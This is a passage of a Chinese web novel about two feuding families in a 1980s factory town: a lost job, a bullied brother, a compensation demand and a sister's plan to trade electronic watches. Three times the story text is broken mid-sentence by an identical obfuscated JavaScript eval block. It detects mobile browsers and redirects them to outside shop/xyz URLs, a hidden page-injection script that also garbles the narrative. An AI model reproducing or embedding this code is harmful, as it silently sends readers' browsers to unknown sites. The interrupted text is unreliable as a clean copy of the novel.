林二玉嚷得起劲,一时忘了身边时刻伺机夺刀的林大金,林大金趁她分神之际,劈手夺过她的刀,强拽着将她拖回家。 一路上林二玉骂骂咧咧,逢人就要抱怨几句,直到大门合上,隔绝外面所有好奇的探索目光,她嘴里的骂声才停歇。 “哥,快给我倒杯水,我要渴死了。”林二玉累瘫了倒在椅子上。 一旁的林大金搁下菜刀,抬起桌上搪瓷杯,哐当哐当倒满一杯水,瞪她:“瞧你,做做样子得了,这么卖力,我刚才都担心你嗓子嚷破。” “我不嚷大点声,他们听不到咋办?”咕噜咕噜一口气喝完一整杯水,林二玉又将杯子递给林大金,“哥,再给我倒点。” 一旁看呆了的林小堂:? 感情刚才两人都是在演戏? ……两个戏精。 喝饱一肚子水的林二玉擦擦嘴角,长舒一口气,“这么闹了一下,我就不信厂委那边不给解释,等着吧,过不了一会儿……” 话音未落,门被敲响。 “大金,二玉,在家吗?”门外传来老厂长粗矿的声音。 得,这么快就来了。 林二玉默契地与自家大哥对视一眼。 她扭着身子坐在一边,横眉竖目的又摆起一副盛怒的模样,林大金则将放回厨房的菜刀又拿出来,故意摆在桌子上面,然后才去开门。 “哟,厂长你怎么来了?”林大金连忙将人请进来,颇为惭愧地猜测:“是不是听到动静才特意过来一趟?不好意思啊,让你看笑话了。” 在旁围观全程的林小堂:“……” 还别说,她大哥二姐的演技真不是盖的。 若不是提前了解真相,在这两人脸上看不出一丝破绽。 林小堂选择当个透明人物,坐在一旁摆出要写作业的架势,实则默默竖起耳朵听大人们的交谈。 身后传来老厂长疲惫的声音:“大金啊,我上午把茶叶还给你的时候,不是跟你都说明白了么,怎么这会儿又闹这么一出?” “哟,厂长,这您可别怪我,这都是二玉不懂事,我把你交代我的话一五一十地都给她说了,我说老厂长说了,最近招人要求高,得要有经验的技术工。” “她不信,非得要去厂委讨个说话,你瞧,刚才要不是我拼死挡着,她差点拿着刀去,一不小心伤了人可咋办哦。” 林大金心有余悸地将菜刀收进厨房,对老厂长控诉:“二玉的性格你是了解的,她随了我妈的十成,我妈当年什么性格,厂长你应该比谁都清楚。” 老厂长无奈地点头,“清楚,怎么会不清楚。” 林二玉的性格简直和她妈一个模子里刻出来的,他当初还只是车间主任,她妈在他手底下干活,是整个车间最泼辣的妇女,常常为同车间受欺负的女同志出头,压得男同志们不敢吭声。 这么鲜活的一个人,说没就没了。 想起往事的老厂长眼里泛出泪光,长叹一声:“唉,二玉啊,你也不用去闹了,我知道你不相信先前的说辞,那我实话跟你说了吧,厂委不答应确实是另有原因。” 一直没吭声的林二玉这才抬眼觑了一眼来人,“什么原因?” 她就知道,什么狗屁的招人要求高,都是糊弄人的。 明明他哥送了茶叶过去,厂长当天是收了的,还表明问题不大,结果没过几天就把茶叶还了回来,说是厂里招工标准提升了。 呵呵,她才不信。 这准是谁在她背后给她穿小鞋呢。 她平时嘴巴不饶人,保不齐得罪过哪个领导家属。林二玉很是笃定,“说吧,是不是有人在背后蛐蛐我,故意使坏?” “这次真怪不得别人,是你自己的原因。”厂长直接点出。 “你前些天是不是去隔壁县偷偷贩卖小手工品被工商局的抓了,还罚了款?这事可不轻,厂委一致认定这是重大过错,不符合招人标准。” 林二玉万万没想到是因为这个,愣了一瞬,颇不服气地反驳:“这算哪门子重大过错?我凭我自己的双手勤劳致富还算重大过错了?呵,这帮子人怕是还活在几年前吧。” 说完蹭地一下起身,又要往外去,厂长拦住她,语重心长:“别去找茬了,争论起来,你的小手工品的原材料问题又是一个大坑。勤劳致富没有错,但是……现在环境如此,没办法。” 林二玉脾气火爆,性格泼辣,却不是鲁莽之人,她听出厂长话中的分量,憋着一肚子气默默坐了回去。 林大金也没料到是这么一个真实情况,他送走厂长,回来挨着林二玉坐下,心里纳闷:“我怎么觉得这事有点不对劲呢?” 这话听得旁边的林小堂立即竖起耳朵。 “咱们为这事罚了款,回头又因为这事丢了工作,真是流年不利啊,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055012|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好久没去给咱爸咱妈上香了?要不明天周末咱们一家人整整齐齐去墓园看看咱爸咱妈吧?” 林小堂:“……” 还以为她大哥嗅觉敏锐,察觉出其中的蹊跷,要发表长篇大论呢,没想到又扯到玄学方面。 这其中的确是有不对劲的地方。 先是被举报到工商局,导致罚款,损失惨重,紧接着又因为这件事错失进厂的机会,怎么看都像是一个连环招,大概那个举报人在做第一步行动的时候就已经考虑到第二步的事情了吧。 心思缜密成这样,除了顾云,林小堂猜不出其他人选。 可是……顾云为什么对林家敌意这么大? 虽说两家向来有嫌隙,但林大金和林二玉向来只是嘴巴上骂得很,实际行动可没把人往死里整。 先前让顾雨来家里朝林大金借古董果盘,后面又是举报林二玉做生意又是弄掉林二玉进厂机会,每一桩都是恶意满满。 顾云就这么憎恨林家? 林小堂默默在心里摇了摇脑袋,她总觉得,顾云这股恶意是冲着自己来的。 想得出神之际,门外又传来一阵敲门声。 紧接着是钥匙插入孔中被扭转的声音,咔嚓一下,门开了。 “我回来了。”林三满收起钥匙踏进门,平时精神抖擞充满活力的大哥二姐垂头丧气坐着,只轻轻朝他点了点头。 往常家里热热闹闹,大哥二姐的大嗓门像喇叭一样响亮,今天怎么这么冷清? 察觉到家里氛围不对劲,他轻手轻脚走到写着作业的林小堂身边,小声问:“小妹,怎么了,家里发生什么事了?” 林小堂放下笔,定定看向林三满。 “哥,你在学校没发生什么事情吧?” 林大金和林二玉都相继遇到事情,接下来……该林三满了吧。 “没、没有啊。”林三满眼中闪过一丝不自在,很快恢复如常,他摸摸林小堂圆圆的脑袋,“你别多想。” “是吗?”林小堂不信。 她注意到他脸色格外苍白,仿佛生过一场大病,身子骨比前些天她去学校看他的时候还要糟糕。 “三哥,我叮嘱你要锻炼的,你锻炼了没?”林小堂突然问。 “锻炼了。”林三满不忍心说谎,又补充:“锻炼得很少,只在晚上跑了几次步。” “那你把棉袄脱了,让我捏捏你胳膊,看看你有没有练成肌肉。” 林小堂的要求来得突然又莫名其妙,林三满起初不愿,被她缠得厉害,只得脱掉外面棉袄,伸出胳膊让她捏。 “有一点点肌肉,不信你捏。” 林小堂没捏,她趁着对方不注意,刷地一下撩起他胳膊上薄薄一层打底衫,手臂处一大块淤青就这样猝不及防暴露在空气中。 “哥,这是怎么弄的?”林小堂皱眉。 “没什么。”林三满连忙将衣袖拉下,重新穿上棉袄,苍白的双唇抿成一条直线,“不小心在课桌上磕的。” “是吗?” 林小堂神色慢慢冷下来,“那你们课桌可真够硬的。” 说完扭头朝身后的林大金和林二玉大喊:“大哥,二姐,有人打了三哥!” 12. 欺人太甚 林大金和林二玉为着没法进厂的事情正恼火,听到林小堂一声吼,两人立即上前来检查林三满的身体。 也不管林三满愿不愿意,两人三下五除二把他外面的棉袄和里面的打底衫薅下来,他身上各处布满的淤青顷刻间暴露在众人眼前。 “真有人打你?” 林大金看着面前人肚子上,胸膛口大大小小的或暗红色或青黑色的陈旧瘢痕,气得吹胡子瞪眼,“说,谁干的?” 林三满没吭声。 “不说是吧,走,咱们去学校!” 这小子一直住校,刚从学校里回来身上就一身的伤,肯定是平时在学校里被人欺负了,林大金不由分说把人往外面拽。 林三满反手拉住他胳膊,苦着脸劝道:“大哥别去了,学校放假了,没人。” 是哦,今天周六,明儿放假,这会儿学校里的学生应该都回家了。 “那总归是有值班老师在的,没老师我就去教师职工宿舍楼里,我就不信没人主持这个公道!”好好上学,带一身伤回来,哪儿都没有这个理。 敢欺负林三满,就是欺负林家,就是欺负他林大金! 林大金简直比自己被揍还屈辱,“哼,我倒是要看看,是谁这么大胆子,敢揍我弟。” 他把衣服重新披在林三满身上,给林二玉使了个眼神,林二玉会意,这是让她待会儿用大嗓门造势的意思。 两人交流过眼神,准备拉拽着林三满去学校大闹一场,林小堂突然出声叫住他:“大哥,别去学校了,我知道是谁干的。” “谁?”林大金一顿,停住脚步。 林小堂神情笃定,“是顾风。” “顾风?”好哇,原来是顾家人? 之前林二玉被举报的事情,林大金就猜测是顾家人干的,加上先前顾雨来家里骗他的古董果盘和这次顾风揍林三满,行,新仇旧恨一起算! 盛怒之下的林大金气势汹汹往外冲,站在他身旁的林二玉眼疾手快拽住他胳膊,回头谨慎问了一句:“小妹,你怎么知道是顾风?” “我猜的,但是……”林小堂眼睛瞟了瞟林三满方向,“三哥没否认。” 闻言,林三满立即要张嘴否认,林二玉挥手打断他:“晚了。” 说罢伙同林大金一起,两人直接将林三满夹在中间,一路架去顾家。 去顾家的路上,林二玉不忘用她喇叭响亮的嗓子叫嚷顾家欺人太甚。 才闹出拿菜刀闯厂委的动静,这会儿又一家人全往顾家去,阵仗之大,势要火拼。筒子楼上下左右的邻居全都探出脑袋看热闹。 等林大金带着全家堵在顾家门口时,身边已然围了一圈凑热闹的围观群众。 一开门瞧见乌压压一片人,顾雨被这阵势吓呆了。 不是,他犯了什么天条吗? “你……”刚起了个头要问情况,对面的林大金不由分说打断他,“顾风呢,让他出来!” 顾雨眉头一皱,“他不在家。” “呵,揍人的时候挺有胆量,这会儿当缩头乌龟了?”林大金压根不信,把顾雨往旁边一推,擅自闯进屋子搜索一圈。 屋子空间不大,一眼看光。没找到人的林大金不依不饶,指着顾雨的鼻子骂道:“顾风把我弟给揍了,你最好赶紧把他找回来,不然我就把你揍一顿!” “你……欺人太甚!”顾雨终于想起之前叮嘱顾风报复林家人的事情,看来这是东窗事发了,不过顾风做事向来谨慎,对方不会有证据,这么一想,顾雨态度强硬起来。 “你说是顾风揍了你弟,你有什么凭据吗?你是亲眼瞧见了?没根没据的就凭你一张嘴,谁知道你是不是污蔑呢?” 想到什么,顾雨怪笑一声:“听说二玉进厂没希望了,你们林家该不会为这事闹心,故意拿我们家顾风出气吧?” 顾雨一番话合情合理,挤在门外看热闹的群众这会儿发挥热心肠,纷纷好言相劝。 “是啊大金,你这样没根没据的跑来算账,是不是太过分了。” “把事情弄清楚了再说吧,不能有什么不顺心的事情就拿别人当出气筒啊。” …… “我污蔑?我没证据?呵。”林大金冷冷扫过众人,走到林三满面前,将他衣服撩起来,直白露出里面触目惊心的暗伤。 “各位瞧见了吗,别跟我说这是自己摔的,但凡有眼睛的都能看出这是被人下死手揍的,你们别在这里站着说话不腰疼了,是你们家孩子你们比我还急!” “到底是不是顾风干的,等他回来对峙一下不就得了。” 林大金说完兀地往椅子上一瘫,摆足架势要等顾风回来,大闹一场。 有位街坊大哥平日里和顾雨关系不错,这会儿瞧见顾雨孤立无援,上前做和事佬,“这个年龄的孩子都是贪玩的,打打闹闹有点小磕小碰也正常,再说了,一个巴掌拍不响,大金啊,你也别弄得下不来台,要不这样,大家各退一步怎么样?” 林大金罕见地没吭声。 他静静盯了一会儿这位街坊大哥,随后起身,啪的一下一巴掌扇过去。 街坊大哥始料未及,捂着通红的脸震惊又愤怒地望向林大金:“你干嘛打我!” 林大金蔑着他,“我这是让你看看一个巴掌拍不拍得响。” “你!”街坊大哥语塞。 顾雨见状,连忙帮腔指责林大金:“那你也不该打人啊!” 林大金冷哼,“打的就是他这种歪屁股的理中客。” 此话一出,周围原本有心劝架的人全都噤声,大家私底下揣测自己没法扛住林大金一巴掌,想想还是别多管闲事,安静看热闹就行。 眼瞧一个帮腔的都没有,众人似乎都被林大金镇住,顾雨面上没挨巴掌,却是火辣辣的疼,他上前一步,又要理论,林大金却一把推开他,急速往门口人群走去。 “你,别跑!”林大金眼疾手快把挤在人群中探看情况的顾风薅进来。 他紧紧拽着顾风的衣领将人拖进屋子,压着人跪在地上,居高临下地问:“你老实交代,三满身上的伤,是不是你揍的?” “不是!”顾风被人以这样屈辱的方式揪进来,自觉丢了面子,梗着脖子怒目瞪向面前死死压住他的人,“不是我揍的,你放开我!” “你小子,一点也不老实。”林大金往他脑袋拍一下,揪着他衣领,恶狠狠地问:“别给我嘴犟,到底是不是你揍的?” “不是!我没揍他!” “行,嘴硬是吧,不承认那我就揍到你承认。”林大金撩起袖子要来真的。 一旁一直观察情况的林小堂从顾风面上死不承认的表情中嗅出一丝不对劲,他大哥都要揍人了,顾雨却能忍住不上前拦着,更是不对劲。 林小堂扒开人群疾步走到她大哥面前,耳语几句。 随后,林大金松了手,他站起身,朝外睃巡一圈,眼尖地瞧见两个可疑身影,一手一个给薅了进来。 这两人不是别人,正是顾风的两个死党,程庆和周法,都是这一带筒子楼的孩子,林大金认得他们。 “不是顾风动手,看来是你俩动手的,说吧,三满身上的伤,是不是你们揍的?” 到底只是十二三岁的孩子,面对强壮如林大金这样的大人,多少有些忌惮,偏偏奇怪的少年义气作怪,两人壮着胆子否认:“不是我们做的,我们没打他。” “是吗?我看你们也要被揍一顿才肯吐露实话,这样吧,给你们一个机会,要是你们交代谁指使你们,我可以不追究你们。” “没人指使我们。”两人异口同声。 好,很好。 林大金也不恼,冷笑着让人叫来两人的父母。 见到父母的那一刻,所有少年义气统统划为乌有。在父母的威逼利诱之下,两个少年很快缴械投降,在众人面前承认:“是顾风让我们揍的。” 这一句话无疑给顾风判了死刑。 “各位,听到了吧?是顾风让人把我家三满揍成这样的,大家这么多双耳朵听得清清楚楚,这么多双眼睛瞧得明明白白,不是我污蔑他。” 说完,林大金回头瞥着面目苍白的顾雨,“现在人证物证都在,你还有什么好狡辩的吗?” 顾雨面如死灰。 他无论如何也想不到,林大金究竟是怎么知道顾风指使别人下的手。 原本以为对方没证据,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14055013|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都占不到理,没想到人家一下子抓到了命门。 顾雨阴沉着脸,咬紧牙关:“那你想怎样?” 终于等到这句话了。 “我想怎么样?”林大金冷笑一声,“我也不想怎样,各位街坊邻居都在,大家的劝言我都听进去了,咱们抬头不见低头见,关系闹僵了也不太好,这样吧,人我就不揍了,你让顾风当众道个歉,然后拿四百块钱赔出来,这事就算了结了。” “什么?四百?”顾雨气得脸都绿了,“你怎么不直接去抢?” 一旁看热闹的人群也觉得这个赔偿太过离谱,大家交头接耳地小声议论,鉴于刚才无辜路人白挨了一巴掌,谁也不敢秉持公正地帮顾雨说话。 “怎么,不愿意给?那行。”林大金指了指身边的林二玉,“二妹,告诉他,教唆伤人判什么刑。” 林二玉上前一步,清了清嗓子,一本正经地用她那清亮的大嗓门播报:“根据《刑法》第一百五十六条,唆使伤人,轻者判处三到五年有期徒刑,情节严重者,判处十年以上有期徒刑。” 嘶—— 周围人倒吸一口凉气。 “怎样,你们顾家要是不愿意赔款,我就报警,你觉得四百块钱太多,那我看你是更愿意让顾风蹲监狱。” 一席话成功震慑全场。 只有林小堂面无表情。 她二姐搬出的刑法明显是自己编的,这玩意儿都敢自己编? 得亏人群中没个懂行的,不然可就糗大发了。 顾雨倒是没在意刑法正不正确的问题,他心里突然浮现出顾云前几天给他交代的话。 “小智星杯”的竞赛马上要开始了,她的呼声很高,媒体都在关注着这次她能不能取得好成绩,这个关键的时刻,家里最好不要闹出什么事情影响她。 偏偏这林家人都是不依不饶的主,要是不答应赔款,事情闹得更大,影响到顾云竞赛就不好了。 思索再三,顾雨决定退一步,“行,我赔。” 当着众人的面,顾雨拿出四百交到林大金手上,按头让顾风道了歉,又让各位街坊邻居做个见证,表明这事已经了结。 一场风波以赔款道歉终结,当事人离开后,看客们也纷纷散去。 等人走后,避开众人,林小堂独自一人走出筒子楼。 她找到当地一家报社,看准里面一位年轻小伙,走过去搭讪:“大哥哥,我有个新闻,你愿不愿意报道?” 大概没见过年龄这么小的女孩独自来报社提供新闻,青年记者以为是小孩闹着玩,逗她:“什么新闻啊?” “一个男孩殴打另一个男孩的新闻。” 噗呲—— 青年记者忍不住笑出声。 这算哪门子新闻啊,小孩子们小打小闹的事情而已。 看她可爱,青年记者摸摸她浑圆的小脑袋,“你怎么过来的?有家长在附近吗?天快了,赶紧回家去哈。” 林小堂眨眨眼,“那如果是天才神童顾云的哥哥仗势殴打普通同学呢,大哥哥你还愿不愿意听?” 青年记者一愣,“展开说说?” 一番交流之后,弄清所有来龙去脉,青年记者脸上明显显露出激动之情,他拽住林小堂的双手,追问:“这事是不是真的?” “大哥哥你可以去向周围邻居求证的。” 看来所言非虚啊,青年记者更加激动了,最近大家对顾云这个神童的关注度特别高,不过采访来采访去已经没什么新鲜事好挖掘,要是把这件事整理成稿,刊登上报,不知道会引起多大的轰动。 得,这个月奖金有着落了。 青年记者兴致冲冲拿着稿纸做记录,林小堂叫住他,“大哥哥,这篇新闻如果要发表,你会现在发表吗?” “当然啊,会尽快排期的。”不然被别人抢了先怎么办。 “我可以提个建议吗?”林小堂凑过去,一脸天真地说:“‘小智星杯’的竞赛马上就要开始了,等顾云获得成绩之后,想必有很多报道,关注度更大,你这篇稿件到时候发,性价比更高。” 青年记者一怔,不可思议望着面前的小女孩。 嘿,这小孩子,怕不是个天才吧。 13. 探访情况 得了四百块赔偿的林大金回到家,嘴角快要咧到天上去。 这下好了,之前被缴获的两百和被罚款的两百一下都赚了回来,林大金捏着四张崭新的大票左看看右刮刮,深怕顾雨拿假的糊弄他。 确认无误后,他将纸币重新收起来,看向一旁默默无闻的林三满,“三弟,不是大哥不想帮你揍回去,是小妹她说……哎,小妹呢?” 环视一圈没在屋子里瞧见林小堂身影,林大金踱步倚在大门框上朝外张望,走廊上空空如也。 “嘿,她没跟咱们一起回来?二玉,你看见小妹去哪儿了吗?” 林二玉摇头,“谁看得住她啊,跟鱼儿入水似的,一眨眼就不见了。” “那别管她,等会儿估计就回来了。”林大金说完重新挨着林三满坐下,语重心长道:“我想了想,别人欺负你,大哥能帮你揍一回两回三回四回,但是不能帮你揍一辈子。” “你以后总要有自己的路要走,再有人欺负你怎么办?所以你得学会自己去反抗,明白吗?” 林三满垂着脑袋,没吭声。 得,这闷性子一看就不同意他说的话,林大金无声在心里叹息。 家里四个兄弟姊妹,就属林三满最为老实厚道,这孩子被打也不张扬,一看就是好欺负的料,也不知道是随了谁的性子。 他妈当年可是厂里出了名的霸王花,他爸也不是什么好脾气的人啊,怎么生了个乖乖绵羊,一点也没继承到两人泼辣的基因。 林大金头疼。 连林小堂那个鬼灵精他都不怎么操心,他心里只最放心不下这个弟弟。 “要不这样吧,过几天等我有空去趟乡下,把舅老爷请过来教教你。” 林家有个在乡下的舅老爷,小小年纪就被送去少年寺学武,据说抗战那会儿还下山杀过敌呢,解放后娶了亲,安心在乡下过日子。 两家往来不多,最近一次联系,是几年前父母意外去世,舅老爷过来吊丧。 不过舅老爷是个爽利人,求他这点事情应该不成问题。 林大金决定了,“就这么办吧。” 免得以后动不动看到弟弟被揍,糟心。 当事人林三满动了动嘴唇想发表意见,被林大金一口回绝:“你别想拒绝,以你这么弱的身子骨,不学点功夫只有被欺负的份。” 一旁做着手工活的林二玉也帮腔:“三满,你就听大哥的吧,我赞成你学武,然后去把那群欺负你的人揍得落花流水,让他们长长教训。” “学武?什么学武?”林小堂刚踏进门,似乎听到了不得的新闻,“谁要学武?三哥吗?我赞成!” “瞧,一家子都赞成。”林大金乐了,一时忘了追究林小堂去哪儿了的事实,只拍拍林三满瘦弱的肩膀,“3比1,少数服从多数,你没拒绝的机会。” 没拒绝机会的林三满垂下长长的如鸦羽般的睫毛,抿紧嘴唇,将到嘴边的话慢慢咽回肚子里。 这事敲定下来后,恩威并施的林大金决定做点好吃的给三弟补补身子,他揣上零钱要去菜市场,被林二玉叫住。 “等等。”林二玉放下手里的手工活,起身道:“趁一家人都在,我想宣布个事情。” “什么事?”看她颇为郑重的模样,林大金纳闷:“咋了,你先说是好消息还是坏消息,要是罚钱那种坏消息,我可承受不住。” 林二玉:“……不是,我是想说,我以后不做手工活了。” “不做就不做吧。”林大金早就想好了,“做手工活也不是个长久之计,既然纺织厂没这么多招工指标,我再托人给你去别的厂打听打听,不急,总会有合适你的。” “谢谢大哥好心,不过……”林二玉直言:“我不进厂。” “啊?你不进厂?那你要做什么?”林大金满脸好奇地望着她,“不做手工,也不进厂,你要上天啊?” “对,我要趁着这股改革春风上天!”林二玉放出豪言壮志。 嚯,好大的志向。林小堂听出其中深意,小心探问:“所以,二姐你具体是要……?” “我要去倒卖东西!” 林小堂:“……” 果然。 “你要去倒卖什么?”林小堂追问。 “什么赚钱我就去倒卖什么,听说最近收音机挺抢手的,等我收了那个玩具老板的两百块钱尾款,我就开干!” “可是……”林小堂提醒她,“前两天你才刚被工商局罚过款。” 卖点小手工品都要被罚款,真去倒卖电子产品,那可就不是罚款的事情了,搞不好要蹲监狱的,情节严重点,说不定还有性命之忧呢。 “二姐,你真想好了?你就不怕?” 林二玉很是坚定:“我想好了,既然我已经在工商局那里落了个投机倒把的罪名,那不如直接把这个罪名给坐实了。” 之前老老实实、遵纪守法,结果靠自己双手的活儿都要被罚款,呵,她算是看明白了,她就该干点不老实的活儿,不然都对不起之前被罚的款! “但是……”林大金嘴唇动了动。 看出他有话说,林二玉立即打断:“你们谁也别劝我,我主意拿定了,做生意嘛,总有风险的,高风险才有高回报,什么结果我都认,你们不用劝。” 看来这是铁了心。 林二玉一向是个有主意的,谁劝都不好使,林大金微张的嘴唇缓缓合上,憋回满肚子的担忧。 她说的没错,做生意哪能没风险,就看她自个儿的造化吧。 劝也没用,林大金点点头,表示默认。 “可是二姐……” 林小堂刚出声,立即被林二玉一个爆丁敲额头,“你个小鬼,大哥都没意见了,你还有什么意见?” “冤枉呐!”林小堂捧着额头,鼓起小脸直呼委屈,“我不是要反对,我就是想给你提提意见而已。” “我觉得收音机进价贵,而且体积大,不方便携带,作为第一次倒卖的货物不太合适。” 她想起之前去学校补考,察觉这个年代没有手表看时间很不方便,于是建议:“要倒卖就倒卖电子手表吧,进价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14055014|149159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不贵,体积小也方便携带,关键是比收音机更加实用,肯定卖得比收音机更好。” 一番话言之凿凿,合情合理。 林二玉抱起双臂,一双眼睛狐疑地瞥向自家小妹。 前些日子大哥跟她说察觉小妹变聪明了些,她还不以为意,现在一瞧,好像是那么一回事。 “说,你怎么知道这些的?”林二玉不由分说将林小堂用胳膊夹住,逼问:“这是你一个小孩该知道的东西吗?” 想想都不对劲。 连她都没有考虑到的方面,一个七八岁的小孩子到底要怎样缜密的心思才能留意到这些,这也太离谱了吧。 林二玉此刻的内心冒出一股陌生感,这样聪明且心思缜密的小妹,和她从前记忆中的小妹不能完全融合,让她有种奇怪的割裂感。 分神之际,被她圈住的林小堂灵活地从她腋下挣脱,摆出一副天真调皮的笑容,“二姐,这都是我在电视上看到的。” “是么?”林二玉不太信,“电视上还有这个?” “当然了,电视上学到的知识可多了,让你平时不看电视,看吧,错过很多学习的机会吧。” “嘿,你个小屁孩,别想骗我!”林二玉叫嚣着追上去。 两人在狭小的空间里你追我赶,鸡飞狗跳,叫喊声混合着嬉笑声透过窗户飘扬到逐渐昏暗的大街。 大街上,角落的电话亭里,顾雨正例行给顾云沟通消息。 “最近家里没出什么事情吧?”顾云难得主动相问。 这话听得顾雨眉心一跳,差点以为下午被林家人闹了一场的事情已经传到顾云耳中。 不过林家人拿了那四百块钱的赔偿,欢天喜地回去了,看样子以后也不会找茬,这事已经了结,不会再生波澜,没必要告知顾云。 于是顾雨回应:“没什么事。” “没事就好。”顾云沉吟一下,“我这边倒是有个事情。” “什么事?”顾雨追问。 “过两天有个郑教授会去小学探访我之前的学习情况,大概率是不会去我家里,不过也说不准,万一他去了家里了解情况,你应对一下。” 顾雨不太懂,“这个郑教授为什么来探访你的情况?” 对面沉默片刻,缓缓道:“大概是来考察,然后决定要不要招我进少年班。” “是吗!”听到少年班三个字,顾雨惊喜得瞪大双眼,“原来是少年班来的教授?看来你这是十拿九稳了。” 要是顾云去了少年班,那真是顾家莫大的荣誉,恐怕底下的祖宗们都要笑活了。 顾雨登时紧张起来,“哟,那万一我应对不太好,会不会影响到你进少年班?” “不会,你不用紧张,一切按实际情况回答就行。” 听到对方沉稳的声音,顾雨稍稍安心,刚要询问点细节,对面突然嘱咐:“如果郑教授去家里,尽量不要让他接触林小堂。” 为什么? 顾雨纳闷。 心里的疑惑到底没有直白表露,只应下一声:“好。” 14. 那是教授 几天后,林二玉结了手工品的尾款,拿着两百块钱进了一批电子手表。 她避过众人耳目把电子手表拎回家中,倒腾出一大部分放入一只黑色的手提包中,准备拿去别的县城售卖。 从剩下的一小部分中掏出三只,她分别送给家里人,然后向家里成员派发任务。 “大哥,我觉得咱们县城也有不小的市场,这几块手表你自己揣着,看看周围有没有什么商机。记住,千万别让熟人知道。” 之前卖手工品被举报,不用猜,一定是熟人眼红。 当时总要去郊外的山上砍竹子,运输过程中尽管千万小心,也难免不露出一些马脚,现在好了,她偷偷摸摸倒腾电子手表,进货都是在别处,不信这帮眼红的人还能抓到破绽! “我知道,我肯定不会让熟人抓到把柄。”林大金把手表都收起来,又问:“那这个是怎么定价的?” “8到10块钱吧,价格灵活,留点讨价还价的空间。” “好。”林大金点头表示明白了。 交代完大哥,林二玉又拿了几块手表塞给小妹林小堂。 林小堂:? “二姐,你塞这么多手表给我做什么?” 林二玉扬着嘴角,笑眼瞪她:“你不是说从电视上学到很多知识吗?没学怎么找商机,怎么推销产品?” 林小堂:“……” 得,这是搬起石头砸自己的脚。 “没有,没学这些。再说了,我一个小孩子,哪里会这些。”林小堂鼓起脸蛋,嘟着嘴巴,故意摆出一副小孩生气的模样。 “哟,还谦虚上了。”林二玉好笑地上前一步,像捉鸭子似的一把捏住她撅起的嘴唇,“我看你挺能耐的,不想去试试?” “不想。”她又不是吃多了没事干。 “那这样,利润全归你,我只收成本,你还愿不愿意……” “我愿意!”不等林二玉说完话,林小堂立即将手中的几块手表一股脑塞进书包中。 哪怕她没问进价,也能猜出进价不到售价的一半,这其中利润大着呢! 等她存了小私房,她也要像苏曜文一样,每个月订牛奶喝。 林小堂拍拍胸膛,豪情万丈:“放心吧二姐,我一定给你探索出新商机!” 说完背起书包,屁颠屁颠往学校去了。 留下林二玉和林大金站在家中凌乱。 “大哥,你说小妹到底是随了谁的性子?怎么小小年纪,这么贪财?”林二玉颇为凝重地托着下巴思考,“咱俩小时候也不是她这样啊!” “谁说不是呢。”林大金发愁,七八岁的时候,他对金钱都还没什么概念呢,哪像林小堂,俨然成了小财迷。 小财迷林小堂背着书包像往常一样走进学校,开始早读。 她翻出语文课本的时候,班主任陈阳正从窗户外面经过,陈阳穿了一身西装,头发梳得光亮,很体面的打扮。 林小堂疑惑地戳戳同桌苏曜文的胳膊,“陈老师今天又有记者采访?” “没有啊。”正读得起劲的苏曜文胳膊被戳,愣了一会儿,拿起书本挡住脑袋,小声道:“反正我没听到消息,你为什么这么问?” “那他干嘛穿这么齐整?”以往都是有重大的事情才穿正装。 “可能……”苏曜文憋半天憋出一句:“他今天心情好吧。” 林小堂:“……” 苏曜文猜得没错,陈阳今天心情挺好,昨儿接到通知,少年班的郑洋教授今天上午会来学校考察顾云以往的学习情况。 郑教授可是少年班的牵头人,这两年一直在全国各地物色好苗子,如果顾云被郑教授招去少年班,学校以后的招生大概不用愁了。 学校对此很重视,特意点名让他好好接待。 作为顾云以前的班主任,陈阳自觉有义务将顾云从前的学习情况完美地展现。 他连夜整理出之前顾云留存下来的试卷,又将以往每次的成绩单打印汇总在一起,顺带还翻出顾云以前的作业本,寒暑假作业等等。 林林总总的资料堆了一堆,只等郑教授过来考察。 为了腾出时间,他已经将上午两节数学课与语文老师对调,没想到早自习刚结束,他接到通知,郑教授临时有事,去了一趟隔壁的橡胶厂,要等下午时分才能来学校。 这么一寻思,陈阳又把上午的课调换回来,拿着教案给学生们讲课。 一大早上要上两节数学课,林小堂昏昏欲睡。 小学二年级的数学题实在是太过简单,她压根没心思听,她心里只在琢磨着书包里那几块手表要销往何处。 “哇,你戴了个新鲜玩意儿?”胳膊肘突然被人碰了一下,林小堂偏头望去,同桌苏曜文一双亮晶晶的眼睛眨也不眨盯着她的手腕,压低声音问:“你在哪儿弄的手表?” 这年头手表是个稀奇玩意儿,大人们都没有,更别说小孩,苏曜文眼里的好奇与羡慕几乎浓得快要溢出来。 林小堂盯着他细看两秒,灵光一闪,小声问:“你想不想要?” 